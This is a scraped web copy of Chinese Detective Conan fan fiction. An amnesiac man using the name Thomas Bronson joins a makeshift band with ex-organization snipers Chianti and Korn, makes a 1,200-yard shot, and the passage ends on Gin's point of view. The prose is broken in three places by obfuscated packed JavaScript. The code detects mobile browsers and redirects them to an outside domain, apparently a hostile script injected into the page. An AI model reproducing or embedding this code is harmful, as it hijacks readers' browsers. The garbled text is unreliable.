《赤井说他真的只是路人》 1. 东拼西凑小乐队（一） 清晨。 把自己从垃圾堆里拖出来的时候，男人还不是很清楚现在到底是什么情况。 好疲惫，感觉浑身上下都在疼痛。 除了体表擦伤的疼痛之外，还有肺部的锐痛。他咳嗽两声，感觉五脏六腑似乎都要移位了。 大脑也晕晕的。脑震荡吗？脑袋里浮现出这样一个词语。 嘶。 男人因为疼痛而倒吸一口冷气，然后皱起眉头。 脑震荡是什么意思？ 大脑一片空白，他什么也不记得。过去的一切，哪怕是他自己，他全都忘记了。 他并不拥有任何记忆。 留到眼前的两撮微卷的刘海有点碍事，男人往头顶上捋了一下，然后摸到了一顶被垃圾桶里腐烂的食物流出的水浸得发臭的针织帽。 “……” 内心有一处地方在悲哀地祭奠这顶帽子，也不知道它和自己到底有什么渊源。明明现在他的头发散发着和针织帽一样的腐臭味，但他也没想过祭奠自己的头发。 男人遵循记忆掏出皮夹子，不出所料地发现夹层里的钱已经无影无踪。在美国，你总得接受街边有些惯于小偷小摸的家伙的事实。他无来由这么想着，自己也搞不懂原因。 毕竟他现在的记忆一片空白。 然后手部肌肉记忆引导他捏住钱包侧边的小装饰微微一扭，露出了刚刚完全见不到的暗格，有几张不同的身份证明和厚厚一叠小面值纸钞。 看到的第一张身份证明上写着“托马斯.布朗森”。 虽然很陌生，但暂且就把它当成自己的名字吧。男人接受得非常轻易。 托马斯挺嫌弃自己现在身上的味道。他没有洁癖，主要是黏糊，而且在公共场合容易被行注目礼。 不过美国街头流浪汉不少，他应该不算太特别。莫名其妙的小常识又一次浮现在他的脑子里。 就在他思考着下一步要做什么的时候，脑中莫名其妙传来了声音。 ——【恋爱攻略游戏开启！系统载入中......】 【开启游戏《恋与酒厂》，期待您甜甜的恋爱之旅！】 【是否查看攻略对象？】 托马斯皱了皱眉，看天看地没发现任何异常，只能归结于自己幻听幻视了。脑震荡出现这样的情况也很正常吧？奇怪的小常识浮现在脑海里。 所以他当机立断决定躺回去，再睡一会儿，摆脱这个诡异的幻觉再考虑下一步行动。 然后他发现他动不了了。 脑子里那个莫名其妙的东西喊了几声“ERROR”之后，就一直在发出“滴滴”的报错音。 他听得头晕脑胀，太阳穴突突跳，本来就疼的脑袋更疼了，只得让脑子里那个系统先收了神通。 【否。】 【好的，现在开始展示攻略对象。】 他默念的明明是“否”！ 哪有这样强买强卖的流氓系统。托马斯觉得莫名其妙。 既然拒绝不了，那就看吧。 反正刚刚也打算躺回去，托马斯懒得改姿势了，顺势躺回垃圾堆里，情绪非常稳定。 反正他现在本身就满身是垃圾堆的臭味，不寒碜。 【所有数值的取值范围在0至100。】 【攻略对象1：安室透（？？/？？？） 种族：人类 好感度：80 仇恨值：80】 怎么还特意标明了种族是人类？难道还有非人类不成？ 【攻略对象2：琴酒（？？？） 种族：人类 好感度：100 仇恨值：100】 哦，这个也是人类。 等下。 托马斯在内心发出了质疑的声音：【你们这个仇恨值，和好感度值是同比例增长的？】 【……】 【不，是宿主你天生天赋异禀。】 托马斯：【……】 他也挺好奇自己到底做了什么给人恨成这样。 不过这两个名字似乎都挺熟悉的，提起的时候大脑中的某个部分似乎被触动了。 安室透…… 琴酒…… 话说后面那个是酒名吗？谁家好人拿酒名当名字？ 等等，为什么在他的印象里拿酒名当称呼的人不少？难道这又是什么奇怪的、他不知道的常识吗？ 托马斯试图回想了一下，但是没什么用，记忆还是一片空白。 脑袋又开始疼了。 算了吧。 他决定不纠结这个。 尽管真的很好奇，但是他的直觉告诉他，再想就要在这里晕过去了。 而无论从什么角度判断，在这里晕过去都不是一个好选择。 然后系统又蹦出来一个攻略对象。 【攻略对象3：苏格兰 种族：恶鬼 好感度：80 仇恨值：50】 啊，怪不得前面特意标注了人类，原来是还有恶鬼啊。 ……嗯？ 这不是一个唯物的世界吗？虽然不知道唯物是什么意思，但是他的内心第一反应是这样一句话。 话说这个恶鬼的仇恨值居然比前面两个人类要少。 这鬼真能处，托马斯如是想。 说起来，这好像也是个酒名？ 不过苏格兰这个单词指代的没那么清楚，说不定是地名呢。 【系统温馨提示：恶鬼不具备理智，同等仇恨值下鬼魂会做出比人类更极端的行为。】 【ho，懂了，人鬼情未了。】 托马斯恍然大悟。 倒不是真的在思考自己和这个恶鬼可能有什么爱情，其实他想表达的意思是他和恶鬼之间的恨意并没有随着死亡而消除来着。 系统：【对对，很上道啊宿主！就是人鬼情未了！】 【死后还想强取豪夺嘿嘿嘿……】 托马斯：【？】 总觉得系统大概误会了什么。 不管了，应该不重要。 他再一次从垃圾堆里坐了起来，感觉自己已经可以和身体各处传来的疼痛和平共处，于是干脆站起身来活动筋骨。 系统的声音后知后觉：【等等，我刚刚去系统交流频道看了一眼，正常人的好感度和仇恨值应该都是0啊。哪个路人会和主线角色有接触过、还攒了那么多仇恨值啊！】 【卧槽我绑的难道不是路人吗！你难道不是路人吗！】 【哥们你谁啊！！】 【……】 托马斯冷静地想，我也想知道。 “嘿，兄弟……” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506791|186099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >耳边忽然响起了声音。不是系统那一听就不属于人类的金属音，而是属于真人的声音。 纽约东部口音。就像是职业习惯一样，他内心莫名其妙开始分析。男性，年龄介于16至22岁之间。 他转过身去面对这个和自己搭话的青年，端详片刻，内心自顾自做出了更多分析。 衣服破旧，双手有沾上腐烂的食物的脏污，看起来似乎是在翻垃圾桶。 大概不是为了翻食物，他看上去还没有捉襟见肘到这个地步，而是为了翻破旧、却依然可以使用的电器以供家用。 纽约贫民区的一个普通青年。托马斯内心这样下定了结论，虽然以他现存的残缺记忆，完全不知道这意味着什么。 “嘿？”他不确定地用一个单音节回应，下意识有些警惕，不知道对方来找自己是为了做什么。 “Well，你看起来有些困难。如果需要的话，来我家洗个澡？”青年咧出一个微笑。 托马斯挑了挑眉：“Ho？这听起来像是个不怀好意的邀请。” 青年眼神飘忽了一下，大概在想怎么回答，说出来的话颇有些颠三倒四：“事实上……好吧，事先说明，我并没有恶意，只是想做个尝试。你知道的，在东区这种地方，实现梦想总得多尝试，是吧？” 有点没听懂他想干什么，所以托马斯扬了扬下巴，示意他说下去。 “我和朋友组建了一个乐队！”青年似乎被他的态度鼓舞了，“嘿，相信我，你的脸很适合乐队。我是说，小地方嘛，对音乐造诣要求不高，大家看脸。我可以包你的伙食费，房租也不用交，来加入我们乐队吧？” 托马斯后知后觉地意识到自己现在看起来真的和一个美利坚流浪汉一模一样，大概青年是觉得他没钱还无家可归，因此才觉得他一定会答应。 他开口刚想拒绝，却听到不远处有个女人扯着大嗓门过来：“艾迪，找到什么没！” 脑袋里又有什么地方被触碰了一下，托马斯疼得皱起眉来。他下意识抬眼去看那个女人，感觉嘴边有个什么词汇要脱口而出—— 女人留着橘红色的齐耳短发，一只眼睛的眼角下有一只迎风绽放的蝴蝶，穿着紧身衣和短款外套，一只手插在兜里。 ——基安蒂？ 那是谁？ 又是一个酒名？ 到底为什么那么多人会拿酒名当名字。 托马斯思索半秒，当机立断决定抓住一切线索寻求“自己是谁”这个命题的答案。 于是他说：“包饭吗？” 装成一个确实是走投无路所以答应的人吧。 “只要你不是巴里.艾伦。”艾迪眉飞色舞。 那是谁？ 看见托马斯双眼闪过迷茫，他睁大眼睛：“不是吧兄弟，你不知道闪电侠漫画吗！天哪，你的童年绝对是不完整的！” “总之他的胃口特别大……算了算了。”艾迪嘟囔了几句，放大声音，“凯蒂，我给咱们乐队找了个颜值担当！” 被称为凯蒂的“基安蒂”远远答应了一声，目光看过来的时候锁定到了托马斯的脸上。 这是一双属于狙击手的眼睛。托马斯的脑中不知道为什么闪过这样一句话。 ……但不如我。 凯蒂插着兜快步走过来，皱着眉询问：“我是不是见过你？” 2. 东拼西凑小乐队（二） 你问我吗？ 托马斯冷静地想，有一瞬间很想点一支烟。 那我问谁？ 总不能你和我一样失忆了吧。 “Huh……不管了，这么邋遢的男人估计是以前混黑的时候遇到的小混混吧。”凯蒂一挥手洒脱地决定放下这件事，上下打量托马斯，然后一拍手，“噢等等，我知道我为什么觉得眼熟了！你长得好像我以前混黑时候的大哥！” 她说着自己乐呵起来：“要是你的黑发换成银发就好了，琴酒这幅样子肯定很好玩。” 琴酒。 这不就是攻略对象2吗。 托马斯不动声色询问：“难道混黑也会遇到烂人上司吗？” 他装出一个好奇“道上”是什么样的普通人的模样。 反正根据他的印象，纽约贫民窟大多不觉得混黑的和FBI有什么区别，甚至前者要更通人性一些。 “琴酒当上司还不错，”凯蒂“啧”了一声，“但是再不错的上司，能看到他丑照的话，员工还是会很乐意的吧？” 托马斯脑子里浮现出了一个金色短发的身影——那个人的话，就算有丑照他的下属也不敢看吧？ 那个人是谁？ ……想不起来了。 凯蒂皱起眉：“我们要让这家伙进浴室吗？收拾起来想想就麻烦得要命。” “但是他的脸绝对能为我们招来很多粉丝！”艾迪夸张地比划了一下，“能找到这种还没有被挖掘的纯天然帅哥的机会可遇不可求！” 凯蒂整张脸皱了起来。 托马斯的大脑自动做出判断。 ——她不希望艾迪的乐队拥有很多粉丝。这个女人不希望自己被太多人注意到。 都选择当乐队了自然不可能是因为社恐。她的身份有问题？ 啊，这是理所当然的吧。还是那句话，哪个好人把酒名当名字？ 最终凯蒂还是说：“随便你，反正吃住的钱不是我付。” 停顿片刻之后她强调：“水电费也归你！” 艾迪举起双手作投降状：“Yes, Ma''am！” 于是托马斯跟着艾迪还有凯蒂走了。 艾迪家在纽约东区一个不起眼的小街边，六十平米左右的小公寓挤了四个人，两女两男。 现在加上托马斯就是五个。 艾迪的身高不够，衣服太短，凯蒂就翻了这里居住的另一位男性的衣服给托马斯。托马斯活动了一下身子，总体而言觉得挺合适，身高也差不多。话说他这个身高的人应该不算多吧。 科恩的衣服？ 科恩是谁？ 怎么又是一个酒名？难道用酒名当名字是什么新时尚吗？ 托马斯觉得不能排除这个可能性，毕竟他没有记忆，不知道新时尚是什么。 他洗完澡出来时头发还向下滴着水，晕湿了衣服。他的头发不短，大概到肩膀向下一些。这让他有点不习惯，总觉得自己的头发应该比这个更短，或是更长。 抬头就看到艾迪满眼惊叹，双手一拍：“我就说我眼光准吧！” 混血的样貌集合了欧美人与亚洲人双方的优点，眉眼深邃，骨架优越。 那双绿色的眼像盛夏的森林，又像蛰伏的头狼。瞧上一眼似乎就会被吸进去。 他沉默时，眉眼透露着几分攻击性，显得生人勿近；但他说话时却能很好地收敛这种气质。 往那一站，和一晚上挣五十八万美金的模特似的。 别问艾迪为什么是五十八万，问就是那是他这辈子见过最多的钱，是他曾经一起搞乐团的小伙伴刮了彩票赢的。 小伙伴拿到奖金第二天就跑路了，一分没给他，生怕他抢走。好在留下了这么一个住处，又留下了一把贝斯和一架键盘。 好帅。 艾迪惊叹地想，要是他喜欢男人，现在说不定已经抛下一切矜持上去当舔狗了。 凯蒂已经不在房子里了，听艾迪说是出去工作了。 “我们轮流看家，不在家的人就是去工作了。不介意的话明天你和我一起去工作吧？”艾迪双手合十，“Please——我们资金挺紧张的。” 不看家的话可能早上刚走晚上就被偷了个彻底。 托马斯不知道为什么脑子里无比具象化地浮现出了公寓被洗劫一空警察也懒得调查的情况，就像他真的见过一样。 至于介不介意工作…… 难道还能说介意吗？ 托马斯还是挺想在这儿待下去的，主要是想搞明白凯蒂带给自己的熟悉感究竟从何而来。 这乐队要是能挣钱就不会让他加入了，需要白天工作补贴家用也是很正常的。 所以他非常顺从地点了点头，表示自己没意见。 到了吃晚饭的时候出去工作的三个人就回来了。 那个在托马斯印象里应该叫科恩的男人刚照面时显然也对他展现出了某种熟悉感，略微皱了皱眉，和凯蒂交换了一个眼神。 橘红色短发的女人摊开双手，耸了耸肩，表示自己并不知道托马斯是谁。 动作很隐蔽，两个人似乎还用唇语交流了什么暗号。但是托马斯还是注意到了。 也许是因为他的五感比常人更敏锐的原因？ 晚饭是凯蒂带回来的快餐，八十美分一个的汉堡。咬下一口之后，刺鼻的芥末酱和辣酱味几乎可以盖过合成芝士和劣质肉排的塑料味。 艾迪说平时他们不会吃那么贵，是为了迎接新成员。 托马斯看着被称为贵的八十美分的汉堡，眨了眨眼。 不过他不挑。起码这汉堡确实味道不错还不会食物中毒。 虽然他不记得了，但是印象里他一直不是什么在意口味的人。 “今晚是排练时间，”凯蒂边喝最便宜的临期劣质啤酒边说，“那家伙要来吗？” “你会什么乐器吗？”最小的小姑娘名叫爱丽，眨着大眼睛看他。 托马斯思索半秒，选择了记忆里第一个出现的乐器：“手风琴。” “我明天中午去琴行看看能不能搞来。”爱丽摇头晃脑地说，“正好明天我看家。” 托马斯的潜意识还挺熟悉街头儿童的这类术语，“搞”的意思大概率就是偷。 但他还是点点头，看着小姑娘的眼神挺温和：“好。” 他总觉得自己以前大概有个妹妹，因为看到小女孩的时候会不自觉地感到温暖。 “那今晚让他先睡吧！”凯蒂又喝了口酒，笑得很大声，“反正也帮不上什么忙……明天让这小子感受一下我们的硬核工作。” 五个人围坐着恍惚间竟也能算得上其乐融融。 窄小的屋子大概不会猜到自己都装了些什么不得了的人物。 托马斯在凯蒂的推荐下尝了口她手里那罐啤酒，又涩又苦但总体口感还算爽快。女人眼角那只蝴蝶在很肆意地飞扬。 他对这一切感到警惕。 - 次日一早诺克（Nork）——就是那位“科恩”，说实话他的名字更加佐证了他就是科恩（Korn）的事实——来叫托马斯起来，带他去工作的地方。 托马斯其实早就有心理准备了……但他还是没想到所谓的工作是要靠抢的。 加油站背后有一群从肤色就能看出血统的墨西哥裔挤成一团。 机油的气味、汗和饭菜的气味扑面而来。 正巧有一辆车开来，司机吼一句“十二个小伙，要搬砖头！”，转头就把车开走。 然后就会有一群人蜂拥而上去抢位置，打着架把竞争对手推下去，一阵兵荒马乱之后车上只剩下十二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506792|186099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个人带着笑容扬长而去，路上则有十几个人龇牙咧嘴地瞧瞧身上的擦伤，爬起来等待下一次机会。 托马斯心情微妙。 虽然没有记忆，但是他觉得自己就是刚来美国身无分文的时候也没有这么狼狈地抢过工作。 他没忍住问一旁的凯蒂：“你以前不是混黑的吗？” 混黑的至于这样抢工作吗？ “现在混不了了，能不蹲大牢就不错了。”凯蒂说，然后咬牙切齿地小声嘟囔，要不是托马斯的听觉也比普通人灵敏，他还听不清她在说什么。 “组织提供了多少就业岗位啊，这群傻逼机构有空扳倒组织没空提升点底层福利，怪不得纽约人人手上拿枪等着犯罪、东京一天三场杀人案……” 虽然不知道为什么，但是托马斯心情更微妙了。 其实严格来说他们这群人确实不被美国政府机关保护。 那群墨西哥人大概率是偷渡过来的，而这两个酒名估摸着是什么犯罪分子。艾迪是黑户，在看家的爱丽才十五，还没到可以劳动的年龄。 至于那个组织…… 虽然什么都不记得，但是托马斯觉得它被扳倒是件好事。 他还在思索着，忽然发现凯蒂面色一凛转头就跑。托马斯向后看过去，发现是一辆车，刚刚停下，几个穿着蓝色制服的人从上边跳下来，制服背面还写着“FBI”三个字母。 前边那群墨西哥人也转头就跑。 托马斯在要不要和他们一起转头就跑之间纠结了一秒。 主要是他实在是没想通为什么要跑。 然后他就被车上下来的一个人硬控了半秒。 那是一个女性FBI，身手利落，在那一车人里算得上顶尖。她留着金色短发，带着眼镜，给托马斯带来的熟悉感比那个基安蒂和科恩更甚。 “全都不许动，提供身份证明可以离开！”领头的FBI喊了一声，把跑得慢的倒霉蛋们控制住。 在一群挣扎着想要逃走和慌不择路已经跑远的黑户、偷渡者和犯罪分子中，唯一一个镇定自若的托马斯显得分外特别。 托马斯：“……” 他思索半秒，看看已经一溜烟跑到没影、看起来有着充分躲条子经验的凯蒂和诺克，再看看被捉住的满脸“今天真倒霉”的艾迪，从钱包里随便摸出两张身份证明走向那个让他很熟悉的女FBI。 “这是我和他的身份证明。”他指指艾迪，把两张证明递给对方。 艾迪：“……？” “！！！” 从出生就没有过身份证明的小黑户这辈子第一次看到有人抽身份证明就像抽钞票一样，一次抽出来好几张。 他大为震撼。 金发的FBI似乎愣了一下，然后接过了证件迅速核实。 托马斯无法判断她究竟是没觉得他熟悉，还是职业习惯隐藏了波动的情绪。 核查完两张身份证之后她把证件递回给托马斯，冲他点了点头：“很抱歉为您造成了困扰。您的身份没有问题。” 她转过身向FBI的车走过去，就像是敷衍完了工作、不想在现场待着的牛马打算去阴凉处摸鱼。 但是托马斯异于常人的听力分明听到了她耳畔的微型耳机那头传来了“组织残党……科恩、基安蒂……”的声音。 他潜意识里那些酒名……果真是确有其事。 再然后，他依稀辨别出女探员的耳机再次传来声音，那是一个他很在意的名字。 琴酒。 攻略对象2。 所以仅仅是半分钟的时间，出于对自我身份的探求，也出于对系统目的的探究，他已经瞬间做好了这个决定： 无论这位女探员接下来要去哪里完成FBI的工作，都跟着她。 没准会有新线索呢？ 3. 东拼西凑小乐队（三） 金发的女人走远了，即使是听力再强，他也不再能听见对方耳麦里传来的任何声音。 要是有boya的窃听器该多好。潜意识这样想着。 那又是谁？ 托马斯想，他失忆前认识的人真多。 他开始观察她的口型，脑子里莫名其妙出现的读唇语技能帮他锁定了接下来要去的地点。 布鲁克林跳蚤市场。 托马斯现在人在布鲁克林的布朗维尔区，说实话离跳蚤市场并不远。 虽然什么都不记得了，但他知道两地直线距离八百米左右。 女探员已经走远了，他猜测这点距离她大概率会跑过去。 毕竟布朗维尔的路和布鲁克林其他地方可不一样。 纽约马路大多挺宽敞，毕竟艾美莉卡是私家车普及大国，纽约又是重要的经济与教育都市。 在皇后区，商场背面的停车场能有两个标准操场那么大，叠上负一负二负三好几层地下室；横穿大马路时有时像在学校跑五十米比赛。 但是布朗维尔这地方可不一样。谁没事来这儿修马路？ 指望贫民区开车上街，不如指望他们坐地铁不逃票。毕竟纽约地铁也挺发达的。 这块地方能平等地拦住所有私家车，包括FBI的车子。往外边绕一圈不如直接跑过去来得快。 他现在赶过去，说不定还有机会比FBI提前赶到跳蚤市场蹲守，看看他们所提及的那个“琴酒”到底是何方神圣。 但是琴酒真的会出现吗？ 他心里有个声音在质疑。 他总觉得自己在某种程度上是了解那个听上去就是个危险的犯罪分子的“琴酒”的。 那家伙不会被FBI察觉到踪迹，除非是他主动现身。 而主动现身...... 除了充当诱饵，给FBI布下陷阱，还有其他可能吗？ 如果真的是陷阱，那他孤身一人前去不会有任何作用。他手上甚至连把枪都没有。 脑子里奇怪的纽约小常识再次跳了出来：嘿，哥们，谁在布朗维尔没把手枪？等着被偷被抢吧！ 托马斯：“......” 他印象里的纽约怎会是一个如此民风淳朴的地方。 不，在这方面好像还是米花町更甚一筹。 米花町又是哪儿？ 记忆里新出现的名字过多，他决定将其暂且先放到一边。 对于接下来要去哪，他的思维里出现了一个地点。潜意识告诉他那里有很多武器。 于是他选择了跟从自己的直觉，拐上了另一条路。 将动作托付给身体本能，脚步带他来到了一栋貌不出众的矮楼门口。 墙壁破破烂烂，从外观看，最值钱的大概是门口那把电子锁。 黑色的屏幕倒映出绿色的眼眸，上边横七竖八的划痕展现出此物肯定被不止一个不信邪的小贼试着拆过。 托马斯下意识点上电子锁的屏幕。 ——屏幕显示人脸识别通过。 托马斯：？ 这是贫民区应有的科技吗。 莫非这是残次品？ 不排除这种可能，否则他怎么随便一露脸就通过了人脸识别。 不过他还是更倾向于另一种可能……比如这间屋子之前的主人和他还挺熟悉，把他的脸录入了人脸识别名单里。 毕竟他可是凭借身体记忆走过来的。 推开门那一刻他直面的是两个黑洞洞的枪口。 基安蒂的女声分外有辨识度：“谁？！” 显然两把手枪都是上膛了的。所以托马斯举起双手：“是我。” 科恩沉声：“你到底是谁，接近我们有什么目的？” 托马斯很诚实：“我不知道。” 他摊开双手：“为什么我不可能只是一个普通的流浪汉呢？” 基安蒂匪夷所思：“你当我是傻子吗？” 一个流浪汉随随便便刷脸进了琴酒给行动组准备的安全屋兼武器库？开什么玩笑。 这里要是那么好进，各个国家机构也犯不着派那么多卧底进去潜伏了。 托马斯耸了耸肩：“好吧。但我想我们至少能达成一个共识：我对你们没有恶意。” 他本就没指望过能让这两人取信于自己。 “我是你们联络里世界为数不多的渠道了。”绿眸彻底放出气势来，如同野狼。他能看出眼前的短发女人已经开始兴奋。 他知道他们离开里世界已经太久，他也知道现实的压力让两个狙击手渴望子弹穿破躯体时飞溅的鲜血。 他赌的是科恩和基安蒂舍不得放弃联络里世界的机会。 ……即使他其实是在虚张声势。他根本没有联络里世界的渠道，甚至说出的信息都是现场推理出来的。 但是方法好用就行。他看得出基安蒂和科恩信了。 ……后者似乎尚存一些半信半疑的警惕，但这不妨碍。他只需要借一把枪和准镜观察一公里外的布鲁克林跳蚤市场就行。 一千米也就不到一千两百码，这个距离的精准狙击他还是做得到的……不知道为什么他有这个自信。 尽管内心对这个男人有些怀疑，但是借一把枪不会是什么过分的事情；何况谈交易能从侧面表明对方没有想要举报他们的意思。 于是科恩把他要求的枪借给他，托马斯调试了一下，觉得不太顺手。 不过事先熟悉一下应该没什么问题。 他没打算再去外边找狙击点。原因很简单，这里是必然没有官方机构监控的，到了外边就不一定了。 他还不想上FBI的通缉名单。虽说他不觉得美国条子有能力抓到他，但他不想在这种无谓的地方惹祸上身。 再说，这里确实在他的狙击射程之内。 “你的目标在什么地方？”基安蒂实在没忍住好奇。 “布鲁克林跳蚤市场。” 托马斯随口回答，头冲着窗外扬了扬。 他走上阳台，沾湿手指测了测风速，架起枪：“对面没有住户吧？” “对面电线老旧随时可能有火灾没人敢住，琴酒当时大概就是看中这点才在这里设了一个安全屋。就算有流浪的小鬼，遇到这种事情他们也不敢乱说话……”基安蒂下意识回答。 估计就是因为这个，这间安全屋才苟延残喘到现在也没被FBI发觉。 下一秒她实在没忍住说：“没搞错吧dudes，跳蚤市场那个位置在一千二百码开外！” 而且看他的架势 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506793|186099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，目标应该不算大。大概率是某个人。 毕竟布鲁克林跳蚤市场不是什么大地方，那里放不下太大的目标。 一百二十码精准狙击吗？真的假的？ 他以为他是谁啊，琴酒吗？ 科恩也忍不住：“这个距离，几乎不可能射中。” 别到时候害得他们唯一还剩下的武器库也被美国条子端了！ 这可是独苗苗啊，他们最后的希望了。 自从组织被多国情报机构机构联合瓦解了，余党被世界范围内高额通缉，他们这群前组织代号人员可谓是倒霉透顶。 曾经有能力有渠道的道上朋友们也大多因为和组织扯上关系而自顾不暇。自从黑乌鸦倒台之后，整个里世界可谓是遭到重创，彻底大换血了一波。 总之，如果这里也被端了，至少三年内他们别想有新的进货渠道。 所以…… 开得明白吗你就开！给我们把我们最后的老婆放下啊！ 不要干这种没把握还害人害己的事……啊…… 思维下意识被那双绿眸打断，他们在其中看到的是纯粹的自信。 托马斯扬起的笑容很锋锐，无端叫人觉得信服。 “放心，我不会让你们的全部身家被条子收走。” 以他的目力，找到目标花不了多少时间。而且他对那位FBI女士有种诡异的熟悉感，大概能猜到她会从哪里进入跳蚤市场。 仅仅片刻之后他就锁定了目标。透过准镜，他能看到金发的女探员混入人群，和另一个人低语了几句。 跳蚤市场人来人往，稍不注意两人的人影就会被其他人遮住。托马斯全神贯注地查看着情况。 和她交谈的人似乎不是FBI。绿眸的男人皱了皱眉，看到准镜里女探员被带着拐进了更偏僻的地方。 是陷阱。 她看出来了吗？ 大概率是的。在又一次拐入一条偏僻的小道之前，他看到女人不动声色地做了个记号。潜意识告诉他那是詹姆斯——又一个新名字——率领的FBI小组的内部暗号。 托马斯这时本来没打算开枪。他看得出那位探员女士有自己的计划。他在这里观察情况只是为了获取信息再加上托底，可没有随便干扰别人行动的爱好。 他确实收获了不少新情报，不是吗。 虽然这么多信息似乎让形势显得更加复杂，让人摸不着头脑…… 无论怎么说，有收获就是好的。 他的好奇心正在以难以抑制的姿态迅速膨胀，他不打算阻止，而是放任那火苗越烧越烈。 他要查明一切的真相。 他是谁？琴酒、苏格兰、安室透是谁？系统是什么？ 脑海里的那些酒名和名字，是谁？有什么意义？和自己有过怎样的联系？ 他需要知道。 就在下一刻，一种危机感席卷了他全身，肌肉下意识紧绷起来，身体开始震颤。他紧咬牙关，因为这种兴奋感而无声地笑，绿眸眯起。 砰。 扳机扣下，子弹穿过空气直冲目标。 一千二百码，对于两位组织狙击手来说是不可能的距离，对他来说仿佛稀松平常，就连表情都未曾变化。 狙击是他的领域。 4. 东拼西凑小乐队（四） 科恩冷静地想，操。 大白天的撞鬼了。 是人吗？ 怪不得人家沉默寡言，吃饭的时候都对他们爱答不理，原来是真大佬！ 要是托马斯知道科恩是怎么想的，想必他会觉得莫名其妙。 ……谁在主人家第一天会说太多话啊，他这叫严格遵循陌生人的边界感。 以及他从来没有不理过任何人，明明他一直是有问必答的，和别人对话时也从来没有惜字如金过。别给他乱加奇怪的设定啊！ 明明是你们乐队内部关系太融洽，聊起天来他这个初来乍到的根本插不进嘴！ ……这么一说，是你们在排挤新人吧。 科恩还是很难理解。 一千两百码精准狙击随便放到哪个国家机构那都是要好好保护的战略级狙击手。 艾迪那小子怎么捡到的这么个家伙？ 这也是为什么他在见过托马斯的实力之后就那么笃定对方一定不是哪个机构派来追捕他们的特工。 第一，谁派有这种实力的家伙抓他和基安蒂啊！贝尔摩德和琴酒还在潜逃呢，怎么看都轮不到他们。 第二，他可是听基安蒂描述过托马斯刚出现时的狼狈模样的。当时他的状态很明显有些脑震荡。 脑子正常的机构都不会要求这种水平的狙击手靠弄伤自己来接近罪犯！多危险啊，磕到碰到怎么办？ 这双手这双眼可比黄金还值钱啊！真要出什么问题科恩都替他们心疼。 所以纯粹是艾迪这小子撞狗屎运了吧。 要不还是劝他去神社……咳，日本呆多了说顺口了。 要不还是劝他去教堂忏悔一下吧，往乐队里捡了四次人，两个组织成员一个身份神秘的狙击手，怎么看都像是被什么魔鬼缠住了。 基安蒂比较直接地出声骂了一句脏话。 “你刚刚还和我说你只是普通流浪汉？”她难以置信，“我看着那么好忽悠吗？” 身为狙击手他们当然知道一千二百码的含金量。说实在的他们俩的射程加起来也就一千二百码。 他们的震惊是理所当然的，但即使是射出这一枪的托马斯自己可能也没有想到，在一公里外还有个人也陷入了兴奋。 琴酒在阴影处眯了眯眼。 此时此刻他正在跳蚤市场的暗处，距离朱蒂直线距离不到一百米。 他和基安蒂、科恩那两个废物不一样，失去组织的庇护的确让他的处境更为艰难，但他确信自己依然能依靠自己的力量东山再起。 派出去引朱蒂上钩的是他新收的小弟。 其实挑衅FBI是个很烂的选择，他现在最应该做的是先退避锋芒，蛰伏着积攒自己的力量。 但他有一件很重要的事需要验证。 这就要把时间线拉回到三个月之前各国机构针对组织的决战了。一个晚上发现波本和基尔都是老鼠不说，就连贝尔摩德都在胳膊肘往外拐。琴酒至今想起来还是很想冷笑。 ……贝尔摩德这个蠢货，以为给日本公安帮助之后就不会入狱了吗？现在不一样在各国狼狈逃亡！ 他做梦也想不到贝尔摩德是被善良和光这些他觉得莫名其妙的东西吸引着跳反的。 组织决战那天，乌鸦彻底被摧毁了，乌丸莲耶被捕，而他他受了重伤，被伏特加拼死护着才逃出去。 终究是永远忠心耿耿的小弟，伏特加勉强给他找了一所不会把他交给警方的黑诊所。 醒来之后他第一反应是问赤井秀一死了没。 没别的意思，他和那家伙虽然在组织里睡过几次，但是绝对没什么藕断丝连的情感。 主要是他知道以那个FBI的责任心，一定会出现在决战现场，而听见他死亡的信息绝对可以让他拥有愉悦的情绪，加快恢复速度。 结果就听伏特加惊讶地问：“赤井秀一是谁？” 没了墨镜遮挡的眼睛里满是“完了老大受伤出精神问题了我要怎么办啊”。 琴酒：“……” 他有点想吸一口烟，但是被伏特加阻止了。 他说：“那莱伊呢？” 伏特加更茫然了：“大哥你说酒吗？现在你伤得重，不能喝，尤其是这种烈性的威士忌。” ……你是我妈吗，管得真多。 琴酒语气很冷：“代号莱伊的成员呢？” 伏特加那一瞬间脑子里闪过了很多内容。 从“大哥被撞到脑袋脑震荡出现了幻觉”到“大哥有严重心理疾病幻想出来一个不存在的代号成员”。一溜儿想法排成一排晃得他眼花缭乱。 最终他觉得自己悟了。 一定是组织卧底过多导致溃败之后，大哥无法接受这样的现实，给自己幻想出了一个忠心又有能力的组织成员当同事！ 